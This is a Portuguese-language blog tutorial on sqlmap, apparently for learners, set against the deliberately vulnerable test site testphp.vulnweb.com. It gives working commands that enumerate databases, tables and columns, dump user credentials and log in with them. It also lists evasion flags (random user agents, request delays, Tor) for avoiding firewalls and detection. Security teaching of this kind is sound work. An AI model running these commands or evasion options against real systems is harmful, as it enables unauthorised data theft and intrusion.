sqlmap na prática: Guia completo para explorar SQL Injection (2025)

sqlmap na prática

O sqlmap é uma ferramenta desenvolvida em Python para automatizar a detecção e exploração de falhas de injeção SQL em aplicações web. Ela permite identificar vulnerabilidades em parâmetros de entrada e, a partir disso, oferece uma série de recursos para interagir com o banco de dados do alvo, como listar bases, tabelas, colunas e até extrair dados — tudo de forma controlada e personalizável.

Mesmo quem trabalha com redes e infraestrutura, como eu, precisa entender o básico sobre vulnerabilidades web. Neste post, vamos ver como usar o sqlmap para explorar injeções SQL de forma segura, utilizando um site de testes.

⚠️ Aviso Legal

Este post é exclusivamente para fins didáticos.
Demonstramos o uso da ferramenta sqlmap apenas em ambientes de teste, como o site http://testphp.vulnweb.com, criado intencionalmente para prática segura de segurança da informação.

⚖️ Invasão de sistemas sem autorização é crime no Brasil, tipificado no artigo 154-A do Código Penal, incluído pela Lei nº 12.737/2012 (Lei Carolina Dieckmann):

“Invadir dispositivo informático alheio, conectado ou não à rede de computadores, mediante violação indevida de mecanismo de segurança…”

Pena: detenção de 3 meses a 1 ano, e multa — podendo ser agravada caso haja prejuízo econômico.

Além disso, realizar varreduras, scans ou testes de segurança sem consentimento pode configurar crime de tentativa de invasão ou uso indevido de rede, conforme a Lei nº 9.296/1996 (interceptações) e também infringir termos de uso de serviços.

Só use essas técnicas com permissão explícita ou em ambientes de laboratório!

01 – Instalação do sqlmap

O sqlmap vem instalado por padrão em distribuições especializadas em segurança e pentest, como Kali Linux, BackBox, Parrot Security OS, entre outros. Em outras distribuições você pode instalar com

apt-get update
apt-get install sqlmap

# Estude as opções com:
man sqlmap

02 – Escolhendo um alvo

Para aprender a utilizar a ferramenta sqlmap, a melhor opção é utilizar um website público intencionalmente vulnerável e próprio para ataques WEB. Existe um website próprio para isso, e é o seguinte:

http://testphp.vulnweb.com

O site acima, que simula uma loja online, é justamente para que você aprenda a utilizar ferramentas de exploração de vulnerabilidades. O processo de exploração ajuda você a compreender como erros no desenvolvimento da aplicação e más configurações podem comprometer seu site, permitindo ou facilitando uma invasão.

Outra opção muito interessante é a TryHackMe (https://tryhackme.com/), esta com vários desafios e muitas outras vulnerabilidades. O site utiliza alguns conceitos de gamificação, o que pode tornar o aprendizado mais interessante para alguns.

Ainda, outra possibilidade é baixar uma imagem Linux cheia de vulnerabilidades, incluindo SQL Injection, para testar à vontade em casa.
https://www.rapid7.com/products/metasploit/metasploitable/

03 – Encontrando um parâmetro get

Para executar o sqlmap é necessário indicar pelo menos um parâmetro HTTP GET. Estes parâmetros tem muitos usos, mas um deles é passar informações ao servidor sobre algo que se deve buscar em uma base de dados. A maneira mais simples de obter um parâmetro GET é navegar pela página e procurar na URL por algo como ?algo=XPTO. Navegando pelo site indicado podemos encontrar dois parâmetros GET, “cat” e “artist”. Existem formas de obter parâmetros GET aceitos pelo alvo, inclusive utilizando o próprio sqlmap, mas a identificação visual de parâmetros torna o processo mais rápido.

04 – Identificando os bancos de dados

Caso o site seja vulnerável a SQL Injection, como o site que estamos testando, os bancos de dados disponíveis serão listados com o comando abaixo:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs
# -u URL a ser verificada
# --dbs lista os bancos de dados da URL informada
# --threads=X com X sendo de 1(padrão) a 10
SQLMAP Finding Databases to Explore SQL Injection

Vejam em “available databases” as bases de dados identificadas e disponíveis para continuarmos. Como o software identificado foi o MySQL, é normal a base de dados information_schema vir listada, pois ela é padrão do MySQL, sendo utilizada para armazenamentos de metadados.

05 – Identificando tabelas

Com as bases de dados listadas, o próximo passo é relacionar as tabelas. Como a base de dados information_schema é padrão, vamos partir para a base de dados acuart

sqlmap -u  http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart –-tables
# -D Base de dados que vamos enumerar
# --tables Este parâmetro indica que queremos enumerar as tabelas da base de # dados especificada com -D
SQLMAP Finding Tables on SQL Injection Vulnerable WebSites

O resultado é a enumeração de 8 tabelas da base de dados acuart.

06 – Identificando as colunas da tabela

Podemos identificar as colunas de qualquer uma das tabelas enumeradas no passo anterior, mas notem que, pelo nome, apenas a tabela users parece conter dados sensíveis ou relevantes, e é a que usaremos. Claro que se sua intenção for obter uma relação de produtos, a tabela products será interessante, tudo depende do contexto

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart -T users –-columns
# -T aqui especificamos qual tabela estamos "trabalhando"
# --columns indica que queremos obter as colunas da tabela especificada07 
SQLMAP Enumerating Columns on SQL Injection Vulnerable WebSites

Que interessante! Entre as colunas temos “uname”, provavelmente de username, e “pass”, adivinhe? Isso mesmo, a senha.

07 – Extraindo dados

Agora vem a parte mais interessante, que é a extração dos dados.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –-dbs -D acuart -T users -C name,pass,uname,email –-dump
# -C aqui especificamos quais campos queremos extrair, sempre de acordo com
# com as colunas obtidas no passo anterior, separadas por vírgula.
# --dump extrai as informações
SQLMAP Dumping a table in a SQL Injection Vulnerable WebSite

08 – Testando o acesso

Com as informações obtidas, vamos agora testar o acesso e verificar a utilidade da ferramenta

SQLMAP Testing username and password obtained

Ao inserir os dados extraídos, observamos que o login foi bem-sucedido, demonstrando a gravidade da falha.

SQLMAP Successfull Hacking

Explorando um pouco mais o sqlmap

Vamos ver mais alguns parâmetros bem interessantes:

sqlmap -u http://testphp.vulnweb.com --forms --crawl=4 --dbs
# --forms --crawl=4 são úteis quando não identificamos visualmente um
# parâmetro, permitindo executar o sqlmap diretamente em uma URL

--random-agent
# Podemos tentar evitar sermos bloqueados por WAF (Web Application Firewall
# ou NGFW (Next Generation Firewall) usando agents aleatórios

-v VERBOSE
# O nível de verbose padrão é 1, mas podemos aumentar até 6. 2 ou 3 é 
# excelente para termos mais informações, e aprendermos o que a ferramenta
# faz por "baixo dos panos"

--delay=DELAY
# DELAY em segundos entre as requisições, normalmente utilizada para
# Evitar a detecção e contornar rate limits

--threads=THREADS
# THREADS é o número de requisições HTTP simultâneas. Se estiver um ambiente
# de testes/aprendizado, pode usar 10(máximo), em sistemas reais 1 (mínimo)
# já é o suficiente para que sua exploração seja detectada

--tor               
--tor-port=TORPORT  
--tor-type=TORTYPE 
# Ainda é possível utilizar a rede TOR, camuflando sua origem na exploração

Como se tudo que já vimos não fosse o bastante, o sqlmap ainda permite, em determinadas situações, injetar arquivos no sistema operacional de destino, e também ler arquivos. Permite também, satisfeitas algumas condições, conexão direta a base de dados, execução de comandos remotos no sistema operacional, acesso direto ao shell do servidor e acesso via frameworks especializados, como o metasploit do Kali Linux.

Finalizando

Embora em ambiente controlado, esse exercício é um excelente ponto de partida para ajudar na compreensão da ferramenta e da criticidade da vulnerabilidade SQL Injection. Além de possibilitar acessos indevidos, a vulnerabilidade permite o roubo de informações de usuários, muitas delas confidenciais. E isto é algo que não tem preço para a reputação de uma empresa. Utilizada corretamente, é uma excelente ferramenta de auditoria para garantir que sistemas sobre sua responsabilidade estão seguros contra SQL Injection.

Gostou deste post? Atua na área de segurança? Conte nos comentários sua experiência e compartilhe o post.

Resumo de Comandos SQLMAP

Comando / Parâmetro Finalidade
-u URL Define a URL alvo com parâmetros vulneráveis
--dbs Lista os bancos de dados disponíveis
-D nome_banco Seleciona um banco de dados específico
--tables Lista as tabelas do banco selecionado
-T nome_tabela Seleciona uma tabela específica
--columns Lista as colunas da tabela selecionada
-C col1,col2 Define as colunas a serem extraídas
--dump Extrai os dados (dump) das colunas selecionadas
--forms Identifica e testa formulários da página
--crawl=NUM Navega automaticamente por links internos até N níveis
--random-agent Usa um user-agent aleatório (evita bloqueios simples)
-v NÍVEL Define o nível de verbosidade (1 a 6) para ver mais detalhes
--delay=SEGUNDOS Define o intervalo entre requisições para evitar detecção
--threads=N Número de conexões simultâneas (1 a 10)
--tor, --tor-port, --tor-type Utiliza a rede TOR para camuflar a origem das requisições

Perguntas Frequentes (FAQ)

O que é exatamente uma SQL Injection?

SQL Injection é uma falha de segurança onde comandos SQL maliciosos são inseridos em campos de entrada de uma aplicação web, podendo dar acesso indevido a dados ou até controle do banco de dados.

O sqlmap pode ser usado em qualquer site?

Não! O uso do sqlmap (ou qualquer ferramenta de pentest) sem autorização é crime no Brasil. Utilize apenas em ambientes de teste, laboratórios virtuais ou com permissão explícita.

Preciso saber programar para usar o sqlmap?

Não. O sqlmap é uma ferramenta automatizada. Embora seja útil entender SQL e conceitos de segurança, você pode começar apenas seguindo os comandos básicos apresentados neste post.

Onde posso praticar legalmente?

Você pode usar o site vulnweb.com, a plataforma TryHackMe e a VM Metasploitable, que são feitos para aprendizado seguro.

O sqlmap consegue descobrir senhas?

Sim, se houver uma vulnerabilidade real de SQL Injection e a aplicação expuser dados como colunas de senhas, o sqlmap pode extraí-las — como mostrado neste post. Em sistemas protegidos, isso não deveria ser possível.

Referências

Compartilhe!

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Rolar para cima